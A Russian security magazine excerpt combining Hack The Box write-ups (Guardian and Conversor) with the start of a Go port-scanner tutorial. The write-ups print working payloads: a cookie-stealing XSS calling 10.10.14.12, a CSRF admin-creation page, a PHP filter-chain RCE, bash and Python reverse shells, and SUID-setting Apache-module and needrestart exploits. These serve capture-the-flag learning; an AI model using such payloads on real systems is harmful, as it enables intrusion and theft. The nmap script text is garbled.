И запускаем сканирование портов.

Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он поз‐
воляет атакующему узнать, какие службы на  хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
nmap  500  |     1 | 

 
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '
  | s/, /' ',' sed $/ )

nmap   -p$ports -A $1

Он действует в  два этапа. На  первом производится обычное быстрое ска‐
нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция ).-A

Подробнее про  работу с  Nmap читай в  статье «
».

Nmap с  самого начала.
Осваиваем разведку и сканирование сети

Результат работы скрипта

Сканер нашел два открытых порта:
22 — служба OpenSSH 8.9p1;•
80 — веб‑сервер Apache 2.4.52.•

На веб‑сервере нас встречает сайт университета.

Главная страница сайта

ТОЧКА ВХОДА

На главной странице есть ссылка на учебный портал.

Ошибка при запросе

Обновим запись в   и  повторим запрос к  сервису. Нас встретит

форма авторизации.

/etc/hosts

10.10.11.84 guardian.htb portal.guardian.htb

Форма авторизации

По ссылке вверху справа можно скачать инструкцию. В  ней указано, что
пароль по умолчанию для всех созданных пользователей — .GU1234

Содержимое гайда

На основном сайте можно найти адреса электронной почты нескольких поль‐
зователей.

Главная страница сайта

Вероятно, кто‑то не  сменил дефолтный пароль, поэтому попробуем при‐
менить его ко всем найденным почтам и авторизоваться на портале. Первая
учетная запись срабатывает.

Главная страница авторизованного пользователя

Осматриваясь на  портале, находим интересный чат, где отправитель
и получатель передаются в адресной строке.

Содержимое страницы Chat

В таких случаях стоит проверить, есть ли тут уязвимость IDOR.

ТОЧКА ОПОРЫ

Попробуем перебрать номера отправителя и получателя: перенаправим зап‐
рос из  Burp Proxy в  Burp Intruder и  укажем диапазон идентификаторов
от 1 до 50.

Burp Intruder — вкладка Positions

Burp Intruder — вкладка Payloads

Когда перебор закончится, отсортируем строки по размеру ответа. В первой
переписке находим упоминание сервиса Gitea и  даже пароль от  учетной
записи.

Burp Intruder — результат перебора

Обновим запись в   и откроем Gitea в браузере./etc/hosts

10.10.11.84 guardian.htb portal.guardian.htb gitea.guardian.htb

Главная страница Gitea

Авторизуемся как   с  найденным паролем

и открываем страницу проектов.

jamil.enockson@guardian.htb

Проекты в Gitea

Переходим к проекту  и смотрим зависимости в  .portal composer.json

Содержимое файла composer.json

XSS
Первым делом стоит проверить, есть ли для  обнаруженных версий пакетов
готовые эксплоиты. Можем просто поискать в Google.

Поиск эксплоитов в Google

Так мы узнаём, что в PHP-библиотеке PhpSpreadsheet есть уязвимость 
. При конвертации файла XLSX в HTML названия листов вставляют‐

ся в  теги  без  какой‑либо дополнительной обработки. На  сайте находим

страницу для загрузки работы в формате XLSX.

CVE-
2025-22131

<a>

Форма отправки файла

Для создания файла воспользуемся . В  название любого листа
вставляем XSS-нагрузку, которая отправит куки пользователя на  наш
веб‑сервер.

treegrid.com

   "><img src=x onerror=fetch("http://10.10.14.12/?c="+document.cookie)
>

Создание нагрузки

Затем просто сохраняем и экспортируем документ.

Сохранение документа

Экспорт файла

Запускаем веб‑сервер командой  и отправляем
документ с нагрузкой через форму. Через некоторое время в логах веб‑сер‐
вера появится запрос с данными пользовательской сессии.

python3 -m http.server 80

Логи веб‑сервера

Применяем идентификатор сессии в  браузере, обновляем страницу
и получаем сессию пользователя .sammy.treat

Страница профиля

CSRF
На странице Create Notice есть форма отправки записи, и  ссылка попадет
на  проверку администратору. Если отправить ссылку на  свой веб‑сервер,
в логах довольно быстро появится запрос.

Страница Create Notice

Логи веб‑сервера

Попробуем добавить на страницу скрипт, который выполнит от имени адми‐
нистратора какие‑то действия. В исходном коде находим файл 

, отвечающий за создание нового пользователя.
createuser.

php

Содержимое файла createuser.php

Так мы можем создать новую учетную запись администратора, осталось
получить CSRF-токен.

Ответ сервера

Теперь создадим страницу с  формой и  JS-вставкой для  отправки данных.
Осталось отправить ссылку на эту страницу.

<!DOCTYPE html>
<body>

  
 

<form id="form" action="http://portal.guardian.htb/admin/createuser.
php" method="POST">
       <input type="hidden" name="username" value="ralf">
       <input type="hidden" name="password" value="P@sswd123">
       <input type="hidden" name="full_name" value="Ralf">
       <input type="hidden" name="email" value="ralf@ralf.com">
       <input type="hidden" name="dob" value="1900-01-01">
       <input type="hidden" name="address" value="qwe">
       <input type="hidden" name="user_role" value="admin">
       <input type="hidden" name="csrf_token" value=
"a392de97ccbc9390850711fc627294a6">
</form>
<script>
    document.getElementById('form').submit();
</script>
</body>
</html>

Страница Create Notice

Продолжение статьи →
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HTB GUARDIAN
ПРЕВРАЩАЕМ LFI В RCE

И ЗАХВАТЫВАЕМ ВЕБ-СЕРВЕР

HACK THE BOX  НАЧАЛО СТАТЬИ←

Как только в логах веб‑сервера появится запрос, зайдем под новой учетной
записью и получим доступ к панели администратора.

Панель администратора

От LFI к RCE
В сессии администратора нам доступны новые страницы — а значит, и новые
функции. Так, в  файле  подключается страница, путь к  которой
передается в параметре .

reports.php
report

Содержимое страницы reports.php

Дело в  том, что при  использовании функции  мы можем выполнить
произвольный код благодаря репозиторию . Поп‐
робуем выполнить команду , для чего используем такую цепочку:

include
php_filter_chain_generator

id

 <?php system($_GET["cmd"]);?>

 python php_filter_chain_generator.py --chain '<?php system($_GET[
"cmd"]);?>'

Сгенерированную последовательность отправим на  сервер в  параметре
 и в ответе увидим результат выполнения команды.report

Эксплуатация RCE

Запускаем листенер  и  вместо команды  выполняем
реверс‑шелл 

, чтобы получить сессию пользователя веб‑сервера.

pwncat-cs -lp 4321 id
cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.12/

4321+0>%261'

Сессия www-data

ПРОДВИЖЕНИЕ

Пользователь Jamil
Так как на хосте работает веб‑приложение, которое использует базу данных,
мы можем вытащить пароли прямо из нее. Учетные данные для подключения
к базе хранятся в файле .config.php

Содержимое файла config.php

Подключаемся к MySQL и просматриваем существующие базы данных.

mysql -h 127.0.0.1 -u root -pGu4rd14n_un1_1s_th3_b3st guardiandb

 show databases;

Существующие базы данных

Нас интересует база данных . Давай посмотрим, какие таблицы

в ней созданы.

guardiandb

 use guardiandb;
 show tables;

Таблицы в базе данных guardiandb

В таблице , скорее всего, хранятся учетные данные пользователей при‐
ложения.

users

   select * from users;

Содержимое таблицы users

В исходниках веб‑приложения находим алгоритм хеширования  — SHA-256,
но к паролю при этом добавляется соль из конфига.

Содержимое файла login.php

Чтобы понять, какие пользователи сайта есть в  системе, посмотрим файл 
.

/
etc/passwd

Пользователи с командной оболочкой

Сохраним найденных пользователей, их хеши и соль в файл и зададим режим
хеширования в hashcat.

Справка hashcat

Нам нужен режим 1410, указываем его в параметре . Так как наш список,

кроме хешей и  соли, содержит и  пользователей, то сообщаем об  этом ути‐
лите (параметр ). В результате удалось получить два пароля.

-m

--username

hashcat -m 1410 --username hashes.txt rockyou.txt

Результат подбора паролей

От имени  подключаемся по SSH и забираем первый флаг.jamil

Флаг пользователя

Пользователь mark
Теперь нам необходимо собрать информацию. Я, как  обычно, буду исполь‐
зовать для этого скрипты PEASS.

Справка: скрипты PEASS
Что делать после того, как  мы получили доступ в  систему от  имени поль‐
зователя? Вариантов дальнейшей эксплуатации и  повышения привилегий
может быть очень много, как  в Linux, так и  в Windows. Чтобы собрать
информацию и  наметить цели, можно использовать 

 (PEASS)  — набор скриптов, которые проверяют сис‐
тему на  автомате и  выдают подробный отчет о  потенциально интересных
файлах, процессах и настройках.

Privilege Escalation
Awesome Scripts SUITE

Загрузим на  удаленный хост скрипт для  Linux, дадим право на  выполнение
и  запустим сканирование. В  выводе ищем моменты, которые потенциально
помогут нам в продвижении.

Судя по настройкам sudoers, мы можем запускать скрипт 

 от имени пользователя  без ввода пароля.

/opt/scripts/
utilities/utilities.py mark

Настройки sudoers

Текущий пользователь состоит в группе , которой доступны для записи
файлы из каталога .

admins
/opt/scripts/utilities

Файлы, доступные для записи группе

А еще часть файлов из того же каталога доступны для чтения.

Файлы рута, доступные для чтения

Взглянем на сам скрипт ./opt/scripts/utilities/utilities.py

Содержимое файла utilities.py

Обрати внимание на импорты, а именно на модуль  из каталога .
Этот скрипт выводит информацию о системе.

status utils

Содержимое файла status.py

Результат запуска скрипта

Так как у нас есть права на запись, добавим в конец файла реверс‑шелл.

Изменение файла

После запуска листенера  и  скрипта 

 получаем сессию от имени пользователя .

pwncat -lp 4321 /opt/scripts/
utilities/utilities.py mark

 sudo -u mark /opt/scripts/utilities/utilities.py system-status

Сессия пользователя mark

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Сканирование хоста уже проводили, поэтому при  изменении контекста
работы пользователя остается немного мест, которые нужно проверить.
Одно из них — настройки sudoers. В них мы видим, что пользователь может
выполнить команду  в  привилегированном

контексте без ввода пароля.

/usr/local/bin/safeapache2ctl

Настройки sudoers

Этот файл добавил пользователь, поэтому скачаем его на свой хост и откро‐
ем в  декомпиляторе. Утилите нужно передать конфиг в  параметре .

При  этом с  помощью функции  запускается утилита ,

которая управляет веб‑сервером Apache.

-f
execl apache2ctl

Псевдокод функции main

В функции  мы можем найти директивы для  :

Include, IncludeOptional или LoadModule.

is_unsafe_line apache2ctl

Псевдокод функции is_unsafe_line

 и   позволяют подключать содержимое других кон‐

фигурационных файлов в основной . Директива  заг‐
ружает динамически подключаемые модули Apache. Так мы можем собрать
свой  и указать его в  . В модуле выставим S-бит файлу коман‐

дной оболочки .

Include IncludeOptional
httpd.conf LoadModule

.so LoadModule
/bin/bash

 #include <stdio.h>
 #include <unistd.h>
 #include <stdlib.h>

   __attribute__((constructor)) void init() {
     setuid(0);
     system("chmod +s /bin/bash");
}

Компилируем файл и указываем библиотеку в конфиге.

gcc   -shared -fPIC -o /home/mark/confs/privesc.so /tmp/privesc.c

  echo "LoadModule privesc_module /home/mark/confs/privesc.so" > /home/
mark/confs/privesc.conf

Теперь запускаем safeapache2ctl

sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/privesc.conf

Эксплуатация уязвимости

Теперь проверим атрибуты файла  и увидим установленный S-бит./bin/bash

Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь,
запускающий этот файл, получает повышение прав до  пользователя  — вла‐
дельца файла в рамках запущенного процесса. После получения повышенных
прав приложение может выполнять задачи, которые недоступны обычному
пользователю. Из‑за возможности состояния гонки многие операционные
системы игнорируют S-атрибут, установленный shell-скриптам.

Атрибуты файла

Флаг рута

Заходим как рут и забираем флаг. Машина захвачена! © X
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HACK THE BOX

XSLT-инъекции  — редкий, но  крайне опас‐
ный класс уязвимостей. Найдя их, зло‐
умышленник может использовать особен‐
ности обработки XML и  XSLT, чтобы читать
и  записывать файлы на  сервере
или добиться выполнения кода. В этом раз‐
боре покажем, как  такая уязвимость поз‐
воляет полностью скомпрометировать сис‐
тему.

Наша цель — получить права суперпользователя на машине  с пло‐
щадки Hack The Box. Уровень задания — легкий.

Conversor

WARNING

Подключаться к  машинам с  HTB рекомендуется
с  применением средств анонимизации и  вир‐
туализации. Не  делай этого с  компьютеров, где
есть важные для  тебя данные, так как  ты ока‐
жешься в общей сети с другими участниками.

РАЗВЕДКА

Сканирование портов
Добавляем IP-адрес машины в  :/etc/hosts

10.10.11.92    conversor.htb

И запускаем сканирование портов.

Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он поз‐
воляет атакующему узнать, какие службы на  хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
nmap  500  |     1 | 

 
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '
  | s/, /' ',' sed $/ )

nmap   -p$ports -A $1

Он действует в  два этапа. На  первом производится обычное быстрое ска‐
нирование, на  втором  — более тщательное, с  использованием имеющихся
скриптов (опция ).-A

Подробнее про  работу с  Nmap читай в  статье «
».

Nmap с  самого начала.
Осваиваем разведку и сканирование сети

Результат работы скрипта

Сканер нашел два открытых порта:
22 — OpenSSH 8.9p1;•
80 — веб‑сервер Apache HTTP Server 2.4.52.•

Начинаем с сайта на веб‑сервере — там нас встречает форма авторизации.

Форма авторизации

ТОЧКА ВХОДА

Создаем учетную запись и авторизуемся на сайте. Теперь мы видим какой‑то
конвертер.

Главная страница авторизованного пользователя

Как сказано в  описании, конвертер превращает результаты сканирования
Nmap из  XML в  красивый и  удобный вид. При  этом вместе с  XML-файлом
можно загрузить и  собственный шаблон XSLT. Также можно скачать с  сайта
уже готовый шаблон.

Шаблон с сайта

Осматриваемся на сайте и находим информацию о команде разработчиков,
а также ссылку на исходный код веб‑приложения.

Страница «О разработчиках»

Смотрим исходный код приложения. В  файле  есть секретный ключ

Flask для сессий, а также путь к файлу базы данных.

app.py

Содержимое файла app.py

Эндпоинт  преобразует XML-файл по шаблону XSLT./convert

Содержимое файла app.py

Для теста просканируем любой хост и сохраним результат в формате XML.

nmap ,80 -p22 -A 10.10.11.92 -oX scan.xml

Теперь загрузим в  сервис скачанный шаблон и  результат сканирования
и посмотрим на отрендеренную страницу с результатами.

Преобразованный XML-файл

Точка опоры
Раз мы можем загрузить и  использовать собственный шаблон XSLT, стоит
попробовать проэксплуатировать : в случае успеха это позволит
читать и  записывать произвольные файлы в  системе и  потенциально может
привести к удаленному выполнению кода.

XSLT Injection

В поисках файла для записи обратим внимание на содержимое 

 в  скачанном репозитории. В  нем описана конфигурация : любой
файл Python в каталоге  будет запускать‐

ся от имени пользователя  каждую минуту.

install.
md crontab

/var/www/conversor.htb/scripts/
www-data

Содержимое install.md

Создадим шаблон, который запишет в  файл 

 Python reverse shell.

/var/www/conversor.htb/
scripts/evil.py

 

  

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.
SOCK_STREAM);s.connect(("10.10.15.73",4321));os.dup2(s.fileno(),0);os
.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/
bin/bash")

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common"
  extension-element-prefixes="exploit"
  version="1.0">
   <xsl:template match="/">
      <exploit:document href="/var/www/conversor.htb/scripts/evil.py"
method="text">
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.
SOCK_STREAM);s.connect(("10.10.15.73",4321));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/
bin/bash")
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

Затем запускаем листенер:

pwncat-cs -lp 4321

Отправляем шаблон вместе с XML-файлом и в течение минуты получаем сес‐
сию от имени .www-data

Сессия пользователя www-data

ПРОДВИЖЕНИЕ

Чтобы изменить контекст сессии, нам нужно найти учетные данные. На хосте
работает веб‑приложение, которое, скорее всего, использует базу данных,
поэтому можно поискать пароли и  секреты в  его файлах. Так мы находим
файл базы данных  и извлекаем из него пользовательские данные.users.db

Учетные данные пользователей

В системе есть учетная запись , поэтому отправляем хеш пароля на сайт

 и ищем пароль по онлайн‑базам.

bob
CrackStation

Результат взлома пароля

Получаем пароль от учетной записи, авторизуемся по SSH и забираем пер‐
вый пользовательский флаг.

Флаг пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Теперь нужно собрать информацию. Я буду использовать для этого скрипты
PEASS.

Справка: скрипты PEASS
Что делать после того, как  мы получили доступ в  систему от  имени поль‐
зователя? Вариантов дальнейшей эксплуатации и  повышения привилегий
может быть очень много, как  в Linux, так и  в Windows. Чтобы собрать
информацию и  наметить цели, можно использовать 

 (PEASS)  — набор скриптов, которые проверяют сис‐
тему на  автомате и  выдают подробный отчет о  потенциально интересных
файлах, процессах и настройках.

Privilege Escalation
Awesome Scripts SUITE

Загрузим на  удаленный хост скрипт для  Linux, дадим ему право на  выпол‐
нение и запустим сканирование. В выводе будет много информации, но нас
интересуют настройки sudoers.

Настройки sudoers

Эта запись в  файле sudoers означает, что пользователь  может

выполнить команду  без ввода пароля и с повышен‐
ными привилегиями. При этом файл добавил сам пользователь.

fismathack
/usr/sbin/needrestart

Добавленные пользователем файлы

Как показывает утилита , это  скрипт на  Perl. Просмотрим содержимое

файла.

file

Содержимое файла needrestart

Судя по описанию, это общедоступное ПО. Давай узнаем его версию.

/usr/sbin/needrestart -v

Версия needrestart

Утилита needrestart позволяет при запуске указывать кастомные файлы с нас‐
тройками через параметр . Проблема в  том, что конфиги needrestart  —

это скрипты на Perl, а значит, мы можем выполнить произвольный код в кон‐
тексте утилиты, то есть с  привилегиями . Создадим файл 

со следующим содержимым:

-c

root evil.conf

  $nrconf{restart} = 'l';
system('chmod u+s /bin/bash');

Первая строка говорит  при обновлениях только показывать спи‐

сок затронутых демонов и  служб, но  не выполнять команд 

. Вторая строка через системный вызов  выставляет SUID-бит
для  . Когда все будет готово, запускаем , а затем про‐

веряем права .

needrestart
systemctl

restart system
/bin/bash needrestart

/bin/bash

sudo /usr/sbin/needrestart -c evil.conf

Запуск needrestart

Как видишь, в атрибутах  появился S-бит./bin/bash

Права файла /bin/bash

Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь,
запускающий этот файл, получает повышение прав до  пользователя  — вла‐
дельца файла в рамках запущенного процесса. После получения повышенных
прав приложение может выполнять задачи, которые недоступны обычному
пользователю. Из‑за возможности состояния гонки многие операционные
системы игнорируют S-атрибут, установленный shell-скриптам.

Флаг рута

Мы можем выполнять команды с  правами root, а  значит, машина захвачена!
© X
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КОДИНГ

Сегодня мы с  тобой в  рамках изучения Go
напишем простую программу, которая смо‐
жет просканировать открытые порты
по заданному адресу.

Если ты видишь Go впервые, начни с чтения предыдущей статьи « »,
там я постарался объяснить базовые концепции, в особенности те, что отли‐
чают Go от других языков.

Go кодить

WARNING

Статья имеет ознакомительный характер и пред‐
назначена для  специалистов по  безопасности,
проводящих тестирование в  рамках контракта.
Автор и  редакция не  несут ответственности
за  любой вред, причиненный с  применением
изложенной информации. Распространение вре‐
доносных программ, нарушение работы систем
и  нарушение тайны переписки преследуются
по закону.

Для начала создадим новый модуль:

  mkdir portscan && cd $_
go mod init portscan
touch main.go

В файл  вставим следующий код:main.go

 package main

 import (
    "fmt"
    "net"
    "os"
    "time"
)

  func main() {
        if len(os.Args) <= 1 {

         fmt.Fprintf(os.Stderr, "Target address not specified\n")
        os.Exit(1)
    }

      target := os.Args[1]

        if net.ParseIP(target) == nil {
          fmt.Fprintf(os.Stderr, "%s is not a valid address\n", target)

        os.Exit(1)
    }

             
   

ports := []string{"21", "22", "25", "53", "80", "8080", "443",
"110", "143", "3306", "3389"}
        timeout := 250 * time.Millisecond

          for _, port := range ports {
           addr := net.JoinHostPort(target, port)
             conn, err := net.DialTimeout("tcp", addr, timeout)

            if err != nil {
            continue
        }
        conn.Close()

         fmt.Printf("Port %s is open\n", port)
    }
    os.Exit(0)
}

Аргументы командной строки содержатся в срезе строк , причем пер‐

вый элемент — это имя самого исполняемого файла. Мы ожидаем, что адрес
для сканирования будет передан как аргумент, поэтому проверяем количес‐
тво элементов в срезе вызовом .

os.Args

len()
Также ты можешь видеть, как мы выводим текст в стандартный поток оши‐

бок  и  возвращаем код выхода вызовом  (ненулевой

в  случае ошибки или  ноль при  успешном завершении работы). Все эти воз‐
можности нам предоставляет пакет   — загляни в  , там

еще много интересного!

os.Stderr os.Exit()

os документацию

INFO

Явно вызывать  излишне, штатно
завершающаяся программа в любом случае вер‐
нет код  0. Я добавил эту строку в  код только
для наглядности.

os.Exit(0)

NET

Подобно тому как   предоставляет средства взаимодействия с  операци‐

онной системой, пакет  обеспечивает сетевой ввод‑вывод и  множество
вспомогательных функций. Одну из  них мы используем для  валидации вве‐
денного пользователем адреса:  парсит строку и возвращает

переменную типа , содержащую байты адреса, или   при неудаче. Фун‐
кция  объединяет IP и  порт в  одну строку, а 

 подключается по указанному адресу c указанным тайм‑аутом

и  возвращает открытое соединение, в  которое можно писать и  читать,
или   и ошибку.

os
net

net.ParseIP()
IP nil

net.JoinHostPort() net.
DialTimeout()

nil
Далее объявляем срез, содержащий номера портов, которые мы будем

сканировать. Обрати внимание на синтаксис объявления: если бы мы указали
размер , то результатом был бы массив. Не ука‐
зывая размер, мы получаем срез. В данном случае для нас нет особой раз‐
ницы, но если бы мы в будущем собирались изменить размер этой коллекции
динамически, то массив нам не  подошел бы. Функцию  мы здесь

не использовали, поскольку сразу же инициализировали срез значениями.

ports := [10]string{ ...

make()

TIME

Теперь поговорим еще об одном пакете, также входящем в стандартную биб‐
лиотеку, — . Он предоставляет функции для работы с временем, датами,

интервалами и разные преобразования. Среди прочих интересностей в нем
содержится тип , позволяющий генерировать однократные
события по  истечении указанного времени, и  , генерирующий

последовательность событий с определенным интервалом.

time

time.Timer
time.Ticker

Для измерения длительностей (например, чтобы узнать, как долго выпол‐
нялся какой‑то код) полезна функция . Мы же используем опре‐

деление , чтобы задать желаемый тайм‑аут.

time.Since()
time.Millisecond

FOR

Наконец мы добрались до  самого интересного. Аргумент (адрес целевого
хоста) считан и валидирован, набор сканируемых портов определен, тайм‑аут
попытки подключения задан. Теперь мы перебираем в  цикле все порты и  к
каждому из  них пробуем подключиться. Если попытка неудачна, переходим
к  следующему порту. В  противном случае закрываем открывшееся соеди‐
нение и выводим в консоль сообщение с номером порта.

В Go есть только  , а  всякие разные , , 

отсутствуют. Опять минимализм! При  этом есть несколько разных способов
использовать . Во‑первых, привычный C-подобный синтаксис из трех час‐
тей:

цикл for while do-while foreach

for

for i := 0; i < 5; i++ { ...

Во‑вторых, как и в C, часть инициализации цикла можно опустить, в том числе
определить цикл с  одним только условием  или  бесконечный

цикл . Наконец, есть , который похож на   в  других

языках и позволяет обходить коллекции элементов: строки, массивы, срезы,
карты, каналы, а  также любые функции (в том числе и  написанные тобой),
реализующие итераторы.

for ok { ...
for { ... range foreach

RANGE

Как ты видишь в  коде примера,  возвращает два значения: первое  —
индекс элемента в  коллекции (в нашем коде мы его отбрасываем, указав 

вместо имени переменной), второе  — значение элемента по  текущему
индексу. Для  карт  будет возвращать ключ и  значение, поскольку

индекса в картах нет, это неупорядоченная коллекция.

range
_

range

С range есть еще один фокус: вместо коллекции элементов можно указать
число или целочисленную переменную:  дает ровно то же

самое, что . Таким образом, мы могли бы не ука‐
зывать конкретные номера портов, а  выполнить цикл 

, но в нашем текущем варианте с тайм‑аутом в 0,25 с на попытку

соединения выполнение такой программы займет очень долгое время.

for i := range 5
for i := 0; i < 5; i++

for port := range
65536 { ...

INFO

Функция  выполняет раз‐
решение имени. Дополни код так, чтобы можно
было передавать аргументом не  только IP, но  и
доменные имена. Если это тебе показалось слиш‐
ком легким, вот другая задачка: измени сущес‐
твующий код так, чтобы работать с  доменными
именами без  использования LookupHost. Этот
способ менее эффективен (кстати, почему?), хотя
возможен; смотри  пакета net.

net.LookupHost()

документацию

FUNC

Что ж, настало время расширить возможности нашего приложения. Давай
выполним banner grabbing, для чего нам потребуется не только устанавливать
соединение, но и читать ответ хоста. Добавим функцию, читающую ответ сер‐
вера, и  будем вызывать ее для  каждого успешно открытого соединения.
Измени код следующим образом:

       func grabBanner(conn net.Conn, buf []byte) (string, bool) {
       request := fmt.Sprintf("HEAD / HTTP/1.1\r\nHost: %s\r\n\r\n",
conn.RemoteAddr())
    conn.Write([]byte(request))
       n, err := conn.Read(buf)
            if err == nil && n > 0 {

          return string(buf[:n]), true
    }
      return "", false
}

  func main() {
    // if len(os.Args) ...
    // Проверку аргументов убрал для краткости

      target := os.Args[1]

    // if net.ParseIP(target) ...

             
   

ports := []string{"21", "22", "25", "53", "80", "8080", "443",
"110", "143", "3306", "3389"}
        timeout := 250 * time.Millisecond
       buffer := make([]byte, 256)

          for _, port := range ports {
           addr := net.JoinHostPort(target, port)
             conn, err := net.DialTimeout("tcp", addr, timeout)

            if err != nil {
            continue
        }

         fmt.Printf("Port %s is open\n", port)

          deadline := time.Now().Add(timeout)
        conn.SetDeadline(deadline)

            s, ok := grabBanner(conn, buffer)
          if ok {

            fmt.Println(s)
        }

        conn.Close()
    }
}

Определение функции в Go начинается с ключевого слова , за которым

следует имя функции, в скобках список аргументов (ты же помнишь, что в Go
тип указывается после имени?), затем возвращаемое значение. Если возвра‐
щаемых значений несколько, их список также берется в скобки.

func

Итак, мы определили функцию , принимающую два аргумен‐

та:  типа  (сетевое соединение) и   типа  (срез бай‐
тов). Наша функция возвращает два значения: строку (ответ сервера)
и  логическое значение, указывающее, был ли ответ сервера успешно
получен.

grabBanner()
conn net.Conn buf []byte

INFO

Если функция является методом структуры, тогда
перед  именем функции в  скобках указывается
receiver  — имя переменной типа этой структуры.
По  наличию ресивера компилятор Go понимает,
что эта функция  — метод, а  программист может
использовать переменную, определенную
как ресивер, в коде функции, чтобы получить дос‐
туп к полям структуры.

HTTP-ЗАПРОС

Внутри  мы формируем запрос. HTTP/1  — это  текстовый про‐
токол, и все, что мы хотим от сервера, мы описываем в виде текста. Первые
строки нашего запроса  — это  заголовки. Вообще, нам достаточно только
одной строки:

grabBanner

"HEAD / HTTP/1.1\r\n\r\n"

Но не  все серверы отвечают на  такой неполный запрос, поэтому мы добав‐
ляем заголовок с именем целевого хоста. В коде ты видишь, как мы преобра‐
зовываем строку в набор байтов  и, наоборот, набор байтов

в  строку . HTTP/1  использует ASCII, благодаря чему мы

избегаем применения рун и пакета utf8 (подробнее я об этом писал в прош‐
лой статье).

[]byte(request)
string(buf[:n])

У сетевого соединения  два метода:  позволяет отпра‐

вить данные в виде набора байтов,  читает данные в заранее выделен‐

ный буфер и  возвращает количество прочитанных байтов и  ошибку, если
таковая возникла. Вот, собственно, и все, что есть в  .

net.Conn Write()
Read()

grabBanner

Срезы
В Go есть удобный синтаксис для  получения части среза.  вернет

новый срез, в который войдут элементы с индексами от i до j – 1 включитель‐
но. Если i не задан, используется 0; если не задан j, используется длина среза

. Используя , мы получаем n первых элементов.

s[i:j]

len(s) buf[:n]
Имей в виду, что копирования при этом не происходит: если ты изменишь

элементы исходного среза, то и  в полученных из  него частях соответству‐
ющие элементы будут изменены; а если ты используешь синтаксис с двоето‐
чием, чтобы получить малую часть большого среза, то память все равно
не освободится.

Когда нужно копировать полученную часть среза, явно вызывай функцию
. Еще один нюанс: если срез пустой, его часть по индексам 0 ( , 

 или  ) — это не out of range, а пустой срез.

copy s[0:] s[:
0] s[0:0]

В функции  мы добавили выделение буфера для чтения  через
вызов . Синтаксиc  следующий: первым аргументом указываем

тип создаваемой коллекции (  — срез байтов). Следующие аргументы

зависят от типа.

main() buffer
make() make

[]byte

Для среза первый аргумент задает его длину. Второй опционален и задает
емкость. Если емкость не  указана, она равна длине. Для  карт используется
только один аргумент, и он опционален — емкость коллекции.

INFO

Подумай, в  чем разница между 
 и make .

make([]byte,
256) ([]byte, 0, 256)

Мы передаем выделенный буфер в функцию , тем самым обес‐

печивая его повторное использование и избегая выделения и освобождения
памяти при  каждом вызове, что влияет на  производительность. Мы смогли
это  сделать, потому что вызовы функции  выполняются друг

за другом, не параллельно. Позже, когда будем разбирать многопоточность
в Go, я покажу другой, потокобезопасный способ оптимизировать выделение
памяти.

grabBanner()

grabBanner()

Дальше в  цикле для  каждого нового соединения мы задаем дедлайн.
Как видишь, функция  использует тайм‑аут, а вот соеди‐
нение ( ) оперирует дедлайнами. Поэтому для   мы

можем задать тайм‑аут раз и  навсегда, а  для  вычисляем конкретный

дедлайн при каждом использовании. При этом функция 

устанавливает дедлайн для  всех последующих операций ввода‑вывода, то
есть в  отведенные нами  0,25  с  должны уложиться и  запись, и  чтение. Воз‐
можно, здесь стоит увеличить лимит.

net.DialTimeout()
net.Conn DialTimeout

Conn
conn.SetDeadline()

INFO

Тайм‑аут  — это  отрезок времени, он имеет тип
 и  измеряется в  наносекундах

(для удобства может использоваться и  величина
большего порядка, например минуты). Дедлайн —
это  конкретная временная точка (год, месяц,
день, час и  далее до  наносекунды), имеет тип

. Для  получения конкретного зна‐
чения  мы либо вызываем функцию

, передавая ее аргументами жела‐
емый год, месяц, день и  далее, либо берем

 и  прибавляем к  нему желаемую
длительность. Разные функции в  разных пакетах
используют как тайм‑ауты, так и дедлайны.

time.Duration

time.Time
time.Time

time.Date()

time.Now()

Выше мы говорили, что аргументы в Go всегда передаются по значению, то
есть копируются. Однако ты видишь, что мы не передаем в   ука‐
затели. Так не  возникает ли здесь ненужное копирование? На  самом деле
не совсем. Тип  — это интерфейс, а интерфейсы в Go внутри себя

содержат указатель на  конкретный тип (реализацию). Поэтому интерфейс
безопасно передавать по значению. Второй аргумент, срез, — это структура
с двумя целочисленными значениями (длина и емкость) и указатель на мас‐
сив с данными. Когда емкость среза исчерпана, при добавлении новых эле‐
ментов выделяется новый массив и указатель меняется.

grabBanner()

net.Conn

В данном случае мы действительно копируем структуру, но это не вызыва‐
ет никаких непредвиденных эффектов, потому что мы: а) не  добавляем эле‐
ментов, значит, не  вызываем реаллокацию и  б) не  используем показатели
длины и емкости за пределами функции.

ФАЙЛОВЫЙ ВВОД-ВЫВОД

Получать цель как аргумент запуска и выводить результаты в консоль, конеч‐
но, хорошо. Но  на практике мы обычно имеем дело с  целыми списками
целевых адресов. Да и захардкодить порты — моветон, хотелось бы их как‑то
менять.

Давай научим нашу программу загружать данные из  текстового файла
и  записывать результаты в  файл. Чтобы не  заниматься еще  и парсингом
строк, примем простой формат файла: одна строка — одно значение.

Уже знакомый нам пакет  предлагает ряд функций для  работы с  фай‐

лами. Если ты уже делал это, например на  C/C++, многие из  них покажутся
